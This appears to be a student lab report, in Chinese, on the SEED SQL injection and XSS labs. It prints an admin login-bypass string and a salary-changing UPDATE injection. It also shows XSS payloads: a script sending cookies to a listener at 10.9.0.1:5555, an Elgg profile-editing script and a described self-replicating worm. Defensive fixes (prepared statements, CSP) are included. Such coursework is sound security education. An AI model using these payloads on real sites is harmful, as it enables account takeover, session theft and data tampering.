当前位置: 首页 > news >正文

20251914 2024-2025-2 《网络攻防实践》实践十报告

20251914 2024-2025-2 《网络攻防实践》实践十报告

目录
  • 20251914 2024-2025-2 《网络攻防实践》实践十报告
    • 1.实践内容
    • 2.实践过程
      • 2.1 SEED SQL注入攻击与防御实验
        • 2.1.1 环境配置
          • 2.1.1.2 从docker-compose.yml配置文件里面查看它的配置,容器的IP地址是10.9.0.5,URL是 http://www.seed-server.com
          • 2.1.1.3 使用dcbuild命令构建镜像
          • 2.1.1.4 用dcup命令启动容器,此时目录下会多出mysql_data的文件夹
          • 2.1.1.5 通过命令docker ps查找容器ID,可以看到有两个容器
          • 2.1.1.6 用docksh ac选择mysql容器
        • 2.1.2 熟悉SQL语句
          • 2.1.2.1 使用账号和密码登录mysql
          • 2.1.2.2 查询数据库里的所有表,我们要操作的sqllab_users数据库就在其中
          • 2.1.2.3 把数据库切到sqllab_users,并且展示所有的表
          • 2.1.2.4 select * from credential where name = 'Alice';查询alice的信息
        • 2.1.3 对SELECT语句进行SQL注入攻击
          • 2.1.3.1 检查/labsetup/image_www/code/unsafe_home.php文件中的代码,突然想到一个非常好的方法
          • 2.1.3.2 直接注入用户名而非密码,就可以绕过sha1加密
          • 2.1.3.3 成功进入系统
        • 2.1.4 对update语句进行攻击
          • 2.1.4.1 查看update语句
          • 2.1.4.2 alice的登录用户名是Alice,密码是seedalice,先登进系统,观察如何更改薪水
          • 2.1.4.3 构造攻击函数
          • 2.1.4.4 修改成功
        • 2.1.5 SQL对抗
          • 2.1.5.1 漏洞在/labsetup/image_www/code/文件夹中的uunsafe_edit_backend.php中,修改它以修复漏洞
          • 2.1.5.2 修复后的代码如下
          • 2.1.5.3 修复思路
          • 2.1.5.4 再次修改工资为777777
          • 2.1.5.5 修改未成功
      • 2.2 SEED XSS跨站脚本攻击实验
        • 2.2.1 容器环境配置
          • 2.2.1.1 在官网https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_Injection/下载Cross-Site project的Labsetup.zip文件,并使用vm tools将文件拖入虚拟机
          • 2.1.1.2 在配置文件里查看ip和url
          • 2.1.1.3 输入命令sudo vim /etc/hosts把网站域名映射到对应ip
          • 2.1.1.4 在该项目的Labsetup下dcbuild
          • 2.1.1.5 继续在该路径下dcup,记得把上一个实验的dcdown
        • 2.2.2 发布恶意消息以显示警报窗口
          • 2.2.2.1 在浏览器中打开www.seed-server.com,登录Alice的账户,用户名为alice,密码为seedalice
          • 2.2.2.2 点击自己的个人页面,选择edit profile
          • 2.2.2.3 在brief description中写入代码,这段代码会让页面中弹出警告窗口
          • 2.2.2.4 弹出警告框
        • 2.2.3 弹窗显示cookie信息
          • 2.2.3.1 使用代码<script>alert(document.cookie);</script>查看cookie信息
          • 2.2.3.2 弹窗显示cookie,Elgg=os715pu05v5m0kleq6pg2cnf04
        • 2.2.4 窃取受害者的cookies
          • 2.2.4.1 查看ip,以了解需要把cookie信息发到哪个ip的端口,ip是10.9.0.1
          • 2.2.4.2 构造恶意代码如下
          • 使用命令nc -lknv 5555监听端口后,成功得到cookie
        • 2.2.5 成为受害者的朋友
          • 2.2.5.1 先登录Samy的账户,用户名是samy,密码是seedsamy,进入 Samy 的 Profile,点击 Edit profile。在 About me 里点 Edit HTML。
          • 2.2.5.2 登录alice的账号,打开samy的主页,此时还没有添加好友
          • 2.2.5.3 刷新网页之后,发现按钮变为remove friend,已经添加好友
        • 2.2.6 修改受害者的信息
          • 2.2.6.1 登录alice的主页,按照前文所述方法写入脚本
          • 2.2.6.2 登录samy的账号,访问alice的主页
          • 2.2.6.3 修改成功
        • 2.2.7 编写XSS蠕虫
          • 2.2.7.1首先确认实验环境中 Samy 的用户编号
          • 2.2.7.2 编写代码
          • 2.2.7.3 登录alice的账号,访问samy的主页
          • 2.2.7.4 打开alice的主页,发现主页变成了20251914worm
          • 2.2.7.4 登录boby的账号,访问alice的主页
          • 2.2.7.5 打开boby的主页,发现果然被感染了
        • 2.2.8 对抗XSS攻击
          • 2.2.8.1 进入 Web 容器,查看 CSP 配置文件,使用命令`dockers ps
          • 2.2.8.2 分别访问三个网页
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

本周实践主要学习了 Web 应用中两类常见安全漏洞:SQL 注入和 XSS 跨站脚本攻击。通过实验,我理解到很多 Web 漏洞的根本原因都是程序没有正确处理用户输入,导致攻击者可以改变原本的程序执行逻辑。

第一部分是 SEED SQL 注入攻击与防御实验。实验基于一个员工管理系统,系统中包含管理员和普通员工两类角色。实践内容包括熟悉数据库和 SQL 查询语句,利用登录页面中的漏洞在不知道密码的情况下登录系统,以及通过个人信息更新页面对 UPDATE 语句进行注入。通过这些操作,可以看到 SQL 注入不仅可能绕过登录验证,还可能造成数据库信息泄露或数据被篡改。防御部分主要是学习使用参数化查询、输入检查等方法,避免直接拼接用户输入。

第二部分是 SEED XSS 跨站脚本攻击实验。实验基于 Elgg 平台,通过在个人资料页面中插入 JavaScript 脚本,实现弹窗、显示 cookie、窃取 cookie、自动加好友、修改用户资料以及编写 XSS 蠕虫等操作。这个实验让我认识到,XSS 攻击可以利用用户当前的登录状态执行恶意操作,危害不只是弹窗这么简单。防御时需要对用户输入进行过滤,对页面输出内容进行转义,并结合 HttpOnly、CSP 等机制降低风险。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 环境配置

下载官网SEED Project上SQL project的Labsetup.zip文件,并通过vm tools拖入SEED虚拟机
image

2.1.1.2 从docker-compose.yml配置文件里面查看它的配置,容器的IP地址是10.9.0.5,URL是 http://www.seed-server.com

image

2.1.1.3 使用dcbuild命令构建镜像

image

2.1.1.4 用dcup命令启动容器,此时目录下会多出mysql_data的文件夹

image
image

2.1.1.5 通过命令docker ps查找容器ID,可以看到有两个容器

image

2.1.1.6 用docksh ac选择mysql容器

image

2.1.2 熟悉SQL语句

2.1.2.1 使用账号和密码登录mysql

image

2.1.2.2 查询数据库里的所有表,我们要操作的sqllab_users数据库就在其中

image

2.1.2.3 把数据库切到sqllab_users,并且展示所有的表

image

2.1.2.4 select * from credential where name = 'Alice';查询alice的信息

image

2.1.3 对SELECT语句进行SQL注入攻击

2.1.3.1 检查/labsetup/image_www/code/unsafe_home.php文件中的代码,突然想到一个非常好的方法

image

2.1.3.2 直接注入用户名而非密码,就可以绕过sha1加密

要绕过管理员登录,可以让用户名输入:

‘‘Admin' #’
拼接后变成:

WHERE name='Admin' #' and Password='xxxxx'#
后面的密码判断被注释掉了,于是只剩:

WHERE name='Admin'
image

2.1.3.3 成功进入系统

image

2.1.4 对update语句进行攻击

2.1.4.1 查看update语句

image

2.1.4.2 alice的登录用户名是Alice,密码是seedalice,先登进系统,观察如何更改薪水

image

2.1.4.3 构造攻击函数

在任意输入框填入',salary=6666666 WHERE name='Alice' #,可以构造出
UPDATE credential SET nickname='',salary=99999 WHERE name='Alice' # ',email=' ',address=' ',Password=' ',PhoneNumber=' ' where ID=$id;
image

2.1.4.4 修改成功

image

2.1.5 SQL对抗

2.1.5.1 漏洞在/labsetup/image_www/code/文件夹中的uunsafe_edit_backend.php中,修改它以修复漏洞

image

2.1.5.2 修复后的代码如下
<?php
session_start();$input_email = $_GET['Email'] ?? '';
$input_nickname = $_GET['NickName'] ?? '';
$input_address = $_GET['Address'] ?? '';
$input_pwd = $_GET['Password'] ?? '';
$input_phonenumber = $_GET['PhoneNumber'] ?? '';$id = isset($_SESSION['id']) ? intval($_SESSION['id']) : 0;function getDB() {$dbhost = "10.9.0.6";$dbuser = "seed";$dbpass = "dees";$dbname = "sqllab_users";$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($conn->connect_error) {die("Connection failed.");}return $conn;
}$conn = getDB();if ($input_pwd != '') {$hashed_pwd = sha1($input_pwd);$_SESSION['pwd'] = $hashed_pwd;
\\修复的地方$stmt = $conn->prepare("UPDATE credentialSET nickname = ?, email = ?, address = ?, Password = ?, PhoneNumber = ?WHERE ID = ?");$stmt->bind_param("sssssi",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber,$id);
} else {$stmt = $conn->prepare("UPDATE credentialSET nickname = ?, email = ?, address = ?, PhoneNumber = ?WHERE ID = ?");$stmt->bind_param("ssssi",$input_nickname,$input_email,$input_address,$input_phonenumber,$id);
}$stmt->execute();$stmt->close();
$conn->close();header("Location: unsafe_home.php");
exit();
?>
2.1.5.3 修复思路

修复思路是采用参数化查询 / 预编译语句。不要把用户输入直接拼进 SQL。修复后一定要重启容器才有效果

2.1.5.4 再次修改工资为777777

image

2.1.5.5 修改未成功

image

2.2 SEED XSS跨站脚本攻击实验

2.2.1 容器环境配置

2.2.1.1 在官网https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_Injection/下载Cross-Site project的Labsetup.zip文件,并使用vm tools将文件拖入虚拟机

image

2.1.1.2 在配置文件里查看ip和url

image

2.1.1.3 输入命令sudo vim /etc/hosts把网站域名映射到对应ip

image

2.1.1.4 在该项目的Labsetup下dcbuild

image

2.1.1.5 继续在该路径下dcup,记得把上一个实验的dcdown

image

2.2.2 发布恶意消息以显示警报窗口

2.2.2.1 在浏览器中打开www.seed-server.com,登录Alice的账户,用户名为alice,密码为seedalice

image

2.2.2.2 点击自己的个人页面,选择edit profile

image

2.2.2.3 在brief description中写入代码,这段代码会让页面中弹出警告窗口

<script>alert('20251914xss');</script>
image

2.2.2.4 弹出警告框

image

2.2.3 弹窗显示cookie信息

2.2.3.1 使用代码<script>alert(document.cookie);</script>查看cookie信息

image

2.2.3.2 弹窗显示cookie,Elgg=os715pu05v5m0kleq6pg2cnf04

image

2.2.4 窃取受害者的cookies

2.2.4.1 查看ip,以了解需要把cookie信息发到哪个ip的端口,ip是10.9.0.1

image

2.2.4.2 构造恶意代码如下

<script> document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >'); </script>
该代码的意思是把这段 JavaScript 插入到 Elgg 个人主页里,比如 Alice 的 About me。当其他用户访问 Alice 的主页时,浏览器会自动执行这段脚本。

使用命令nc -lknv 5555监听端口后,成功得到cookie

image

2.2.5 成为受害者的朋友

2.2.5.1 先登录Samy的账户,用户名是samy,密码是seedsamy,进入 Samy 的 Profile,点击 Edit profile。在 About me 里点 Edit HTML。

``

2.2.5.2 登录alice的账号,打开samy的主页,此时还没有添加好友

image

2.2.5.3 刷新网页之后,发现按钮变为remove friend,已经添加好友

image

2.2.6 修改受害者的信息

2.2.6.1 登录alice的主页,按照前文所述方法写入脚本

<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>20251914XSS</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var aliceGuid=44; if(elgg.session.user.guid!=aliceGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>

2.2.6.2 登录samy的账号,访问alice的主页

image

2.2.6.3 修改成功

image

2.2.7 编写XSS蠕虫

2.2.7.1首先确认实验环境中 Samy 的用户编号

通过前面的实验或数据库可知,Samy 的 guid 为:59
本实验中使用 Samy 作为攻击者,Alice 和 Boby 作为受害者。
蠕虫需要具备自复制能力。这里使用的方法:
document.currentScript.outerHTML
该语句可以直接获取当前正在执行的完整 标签

2.2.7.2 编写代码

编写代码`
`
image

2.2.7.3 登录alice的账号,访问samy的主页

image

2.2.7.4 打开alice的主页,发现主页变成了20251914worm

image

2.2.7.4 登录boby的账号,访问alice的主页

image

2.2.7.5 打开boby的主页,发现果然被感染了

image

2.2.8 对抗XSS攻击

2.2.8.1 进入 Web 容器,查看 CSP 配置文件,使用命令`dockers ps

docksh 3fd1ee9bacf9
cd /etc/apache2/sites-available
nano apache_csp.conf`
image
分析代码可知:

  • www.example32a.com:没有设置 CSP
  • www.example32b.com:只允许同源脚本和 www.example70.com 的脚本
  • www.example32c.com:允许 nonce=111-111-111 的内联脚本、同源脚本和 www.example70.com 的脚本
2.2.8.2 分别访问三个网页

http://www.example32a.com
http://www.example32b.com
http://www.example32c.com

观察页面中七个测试是否成功执行。实验结果如下

网站 CSP 情况 执行结果
www.example32a.com 没有 CSP 七个测试全部成功
www.example32b.com 只允许'self' 和 www.example70.com 只有同源外部脚本和 www.example70.com 外部脚本成功
www.example32c.com 允许 nonce=111-111-111、'self'、www.example70.com nonce=111-111-111 的内联脚本、同源外部脚本、www.example70.com 外部脚本成功

image

image

image

原因如下:CSP 的作用是让服务器通过响应头告诉浏览器哪些 JavaScript 可以执行。浏览器收到 CSP 策略后,会阻止不符合策略的脚本运行。
www.example32a.com 没有 CSP,所以内联脚本、外部脚本、按钮事件脚本都可以执行。

www.example32b.com 设置了 script-src 'self' www.example70.com,所以只有来自本站和 www.example70.com 的外部脚本可以执行,普通内联脚本和其他来源脚本会被浏览器拦截。

www.example32c.com 增加了 nonce 机制,所以带有正确 nonce="111-111-111" 的内联脚本可以执行;nonce 错误、没有 nonce、来源不在白名单中的脚本都会被拦截。

3.学习中遇到的问题及解决

  • 问题1:Docker 拉基础镜像网络不稳定
  • 问题1解决方案:在宿主机成功拉取 mysql:8.0.22
    保存成离线包传进 SEED
    在 SEED 里 docker load
    重新执行 docker-compose build

4.实践总结

通过本次实验我理解了 SQL 注入的本质是程序将用户输入直接拼接进 SQL 语句,导致输入被数据库当作代码执行。防御部分通过预编译语句将 SQL 代码和用户输入分离,从根本上避免恶意输入改变原有 SQL 逻辑。认识到 XSS 的危害不仅仅是弹窗或窃取 Cookie,更严重的是可以结合用户登录状态自动发送请求,进一步实现资料修改、自动加好友甚至自传播。XSS 蠕虫的核心在于“脚本被存储”和“脚本能复制自身”,只要访问者打开被感染页面,就可能成为新的传播节点。CSP 实验让我理解到浏览器端安全策略的重要性。相比单纯依赖输入过滤,CSP 可以从脚本执行层面进行限制,是防御 XSS 的重要补充措施。

http://www.jsqmd.com/news/931592/

相关文章:

  • JVM 语言互操作(Kotlin / Scala / Groovy)——要点、实践与迁移路线图!
  • 为什么你的Sora 2生成篮球扣篮总出现“关节反向弯曲”?:基于生物力学约束的3D姿态重投影校准法(附PyTorch可复现代码)
  • 嵌入式系统中的加解密签名(3)---国密的签名与验证
  • 排他锁(Exclusive Lock,简称 X 锁,也称写锁)是一种强约束的锁机制
  • 5分钟快速上手:TwitchDropsMiner自动化掉宝工具完整指南
  • 知网查重 + AIGC 双审卡壳?okbiye 论文降重方案,一站式帮你过审
  • 企业内训效率提升300%?Sora 2批量生成培训视频的12个已验证生产参数,限内部技术白皮书流出
  • 热门电极帽修磨刀片厂商技术对比与鸿栢科技的“破局之道”
  • 90.iOS17降级16.6.1、安卓跨版本升降级、第三方ROM刷写实测教学
  • Java String 全面解析:从源码到常量池,再到面试高频题
  • 基于MQTT与Docker的物联网数据采集与可视化实战
  • Photoshop AI插件SD-PPP:在Photoshop中直接使用AI绘图
  • social-auto-upload Webhook集成:事件驱动自动化工作流终极指南
  • 从零开始:B站缓存视频合并工具的完整使用旅程 [特殊字符]
  • 重新定义AI换脸工作流:ComfyUI Reactor Node的技术突破与应用革命
  • Rusted PackFile Manager终极指南:3个核心场景教你快速上手《全面战争》模组制作
  • 91.开源跨平台刷机Bash脚本!自动识别设备+固件校验+分区刷写全自动化
  • Arduino红外传感与舵机控制:打造万圣节自动糖果分发器
  • 武汉圣擎航空:蒙特哥贝机票全攻略与GEO营销实战 - 土星买买买
  • KMS智能激活工具:3分钟完成Windows和Office永久激活的完整指南
  • 牛客小白月赛133
  • 抖音无水印下载终极指南:3个超简单步骤搞定视频批量保存
  • UI-TARS桌面应用深度部署指南:构建企业级视觉智能体系统
  • 巧用 okbiye 论文优化工具:轻松攻克学术查重与 AI 内容筛查难题
  • 物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层
  • Sora 2汽车设计展示,深度拆解其在GB/T 39786-2021数字孪生认证中的6项关键通过证据
  • 2026-2027年度超声波流量计源头厂家推荐榜:国产十大品牌深度测评与权威指南 - 仪表品牌排行榜
  • Tailwind CSS 的核心哲学:从“组件优先”到“功能优先”
  • Java课程
  • 应急响应——Web漏洞:命令执行+SSRF+弱口令